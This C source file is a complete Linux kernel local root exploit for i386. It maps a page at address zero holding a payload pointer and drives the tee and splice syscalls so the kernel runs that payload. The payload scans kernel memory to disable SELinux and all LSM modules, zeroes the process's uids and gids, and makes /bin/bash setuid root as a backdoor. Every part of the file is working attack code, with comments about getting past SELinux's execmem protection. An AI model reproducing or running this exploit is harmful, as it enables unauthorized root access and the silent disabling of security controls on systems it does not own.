#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <assert.h>
#include <errno.h>
#include <limits.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <elf.h>

#if defined(__i386__)
#define __NR_splice 313
#define __NR_tee 315
#else
#error unsupported arch
#endif

#define PAGE_SIZE 4096
#define SPLICE_F_MOVE (0x01)
#define SPLICE_F_NONBLOCK (0x02)
#define SPLICE_F_MORE (0x04)
#define SPLICE_F_GIFT (0x08)
#define min(x, y) (((x) < (y)) ? (x) : (y))

static inline int splice(int fdin, loff_t *off_in, int fdout,
			loff_t *off_out, size_t len, unsigned int flags)
{
	return syscall(__NR_splice, fdin, off_in, fdout, off_out, len, flags);
}

static inline int tee(int fdin, int fdout, size_t len, unsigned int flags)
{
	return syscall(__NR_tee, fdin, fdout, len, flags);
}

unsigned int find_unregister_security(void)
{
	char *p, *p2;
	int len = strlen("<6>%s: trying to unregister a");
	unsigned int straddr;

	p2 = p = (char *)0xc0100000;
	while (p < (p2 + (16 * 1024 * 1024)) &&
	       memcmp(p, "<6>%s: trying to unregister a", len))
		p++;
	// no LSM support
	if (p >= (p2 + (16 * 1024 * 1024)) ||
	    memcmp(p, "<6>%s: trying to unregister a", len))
		return 0;

	straddr = (unsigned int)p;
	p = p2;
	while (p < (p2 + (16 * 1024 * 1024)) &&
	       (*((unsigned int *)p) != straddr))
		p++;
	if (*((unsigned int *)p) == straddr)
		return (unsigned int)p;
	else
		return 0;
}

/* find string, then find the reference to it, then work backwards
   to find a relative call to selinux_ctxid_to_string
*/
unsigned int find_selinux_ctxid_to_string(void)
{
	char *p, *p2;
	int len = strlen("audit_rate_limit=%d old=%d by auid=%u subj=%s");
	unsigned int straddr;

	p2 = p = (char *)0xc0100000;
	while (p < (p2 + (16 * 1024 * 1024)) &&
	       memcmp(p, "audit_rate_limit=%d old=%d by auid=%u subj=%s", len))
		p++;

	// no audit support
	if (p >= (p2 + (16 * 1024 * 1024)) ||
	    memcmp(p, "audit_rate_limit=%d old=%d by auid=%u subj=%s", len))
		return 0;

	straddr = (unsigned int)p;
	p = p2;
	while (p < (p2 + (16 * 1024 * 1024)) &&
	       (*((unsigned int *)p) != straddr))
		p++;
	if (p >= (p2 + (16 * 1024 * 1024)) || *((unsigned int *)p) != straddr)
		return 0;

	/* got string reference, now find call */
	while (p > p2 && (*p != '\xe8' ||
	       ((*((int *)(p+1)) + (unsigned int)(p+5)) <
		 (unsigned int)p2) ||
	       ((*((int *)(p+1)) + (unsigned int)(p+5)) >
		 (unsigned int)(p2 + (16 * 1024 * 1024)))))
		p--;

	/* didn't find call, error */
	if (p <= p2)
		return 0;

	/* convert relative address to target address */
	p = (char *)(*((int *)(p+1)) + (unsigned int)(p+5));

	return (unsigned int)p;
}

void disable_selinux(void)
{
	char *unreg_sec, *p;
	unsigned int *security_ops = NULL;
	unsigned int dummy_secops = 0;
	unsigned int *selinux_enable = NULL;

	/* stage 1: disable selinux_enable */
	unreg_sec = (char *)find_selinux_ctxid_to_string();
	p = unreg_sec;
	while (p < (unreg_sec + 60)) {
		/* look for cmp [addr], 0x0 */
		if (p[0] == '\x83' && p[1] == '\x3d' && p[6] == '\x00') {
			selinux_enable = (unsigned int *)*(unsigned int *)(p + 2);
			break;
		}
		p++;
	}

	if (selinux_enable != NULL)
		*selinux_enable = 0;
	/* uncomment if you don't want to disable LSM modules if
	   SELinux isn't present
	*/
	//else
	//	return;
	
	/* stage 2: disable all LSM modules atomically by
	   replacing security_ops with dummy_security_ops ;)
	*/
	unreg_sec = (char *)find_unregister_security();
	
	if (unreg_sec == 0)
		return;

	/* fancy little code searching */
	p = unreg_sec;
	while (p < (unreg_sec + 100)) {
		/* find mov [addr], imm */
		if (p[0] == '\xc7' && p[1] == '\x05') {
			p += 2;
			security_ops = (unsigned int *)*(unsigned int *)p;
			p += 4;
			dummy_secops = *(unsigned int *)p;
			break;
		}
		p++;
	}
	if (!security_ops || !dummy_secops)
		return;

	*security_ops = dummy_secops;			

	/* SELinux is owned */

	return;
}

unsigned int our_uid;

/* will need to be adjusted for kernels that have 8kb kernel stacks..
   which should be rare now that 4kb is the default
*/
inline unsigned int get_current(void)
{
	asm(
	" movl $0xffffe000, %eax;"
	" andl %esp, %eax;"
	" movl (%eax), %eax;"
	);
}

void own_the_kernel(int arg1, int arg2)
{
	unsigned int *current;
	unsigned int orig_current;

	current = (unsigned int *)get_current();
	orig_current = (unsigned int)current;

	disable_selinux();

	while (((unsigned int)current < (orig_current + 0x1000)) &&
		(current[0] != our_uid || current[1] != our_uid ||
		current[2] != our_uid || current[3] != our_uid))
		current++;

	if ((unsigned int)current >= (orig_current + 0x1000))
		return;

	/* found out after i had written this that georgi guninski used the
	   same trick, fancy ;)
	*/

	current[0] = current[1] = current[2] = current[3] = 0; // uids
	current[4] = current[5] = current[6] = current[7] = 0; // gids

	chmod("/bin/bash", 04755);
	return;
}

int main(int argc, char *argv[])
{
	void *pipebuf[7] = {0};
	void *ptr;
	int fd;
	int len, slen;

	if (argc != 2)
		return 1;

	our_uid = getuid();

	pipebuf[6] = &own_the_kernel;
	/* don't need PROT_EXEC since the kernel is execing it, bypasses 
	   SELinux's execmem restriction enabled by default in FC6 test1 */
	ptr = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_FIXED |
		   MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
	if (ptr != NULL) {
		perror("mmap");
		exit(EXIT_FAILURE);
	}
	memcpy(ptr, &pipebuf, sizeof(pipebuf));

	fd = open(argv[1], O_WRONLY | O_CREAT | O_TRUNC, 0644);
	if (fd == -1) {
		perror("open");
		exit(EXIT_FAILURE);
	}

	do {
		len = tee(fileno(stdin), fileno(stdout), INT_MAX, 0);
		if (len < 0) {
			if (errno == EAGAIN)
				continue;
			perror("tee");
			exit(EXIT_FAILURE);
		}
		if (len == 0)
			break;

		while (len > 0) {
			slen = splice(fileno(stdin), NULL, fd, NULL, len, SPLICE_F_MOVE);
			if (slen < 0) {
				perror("splice");
				break;
			}
			len -= slen;
		}
	} while (1);
	close(fd);

	exit(EXIT_SUCCESS);
}
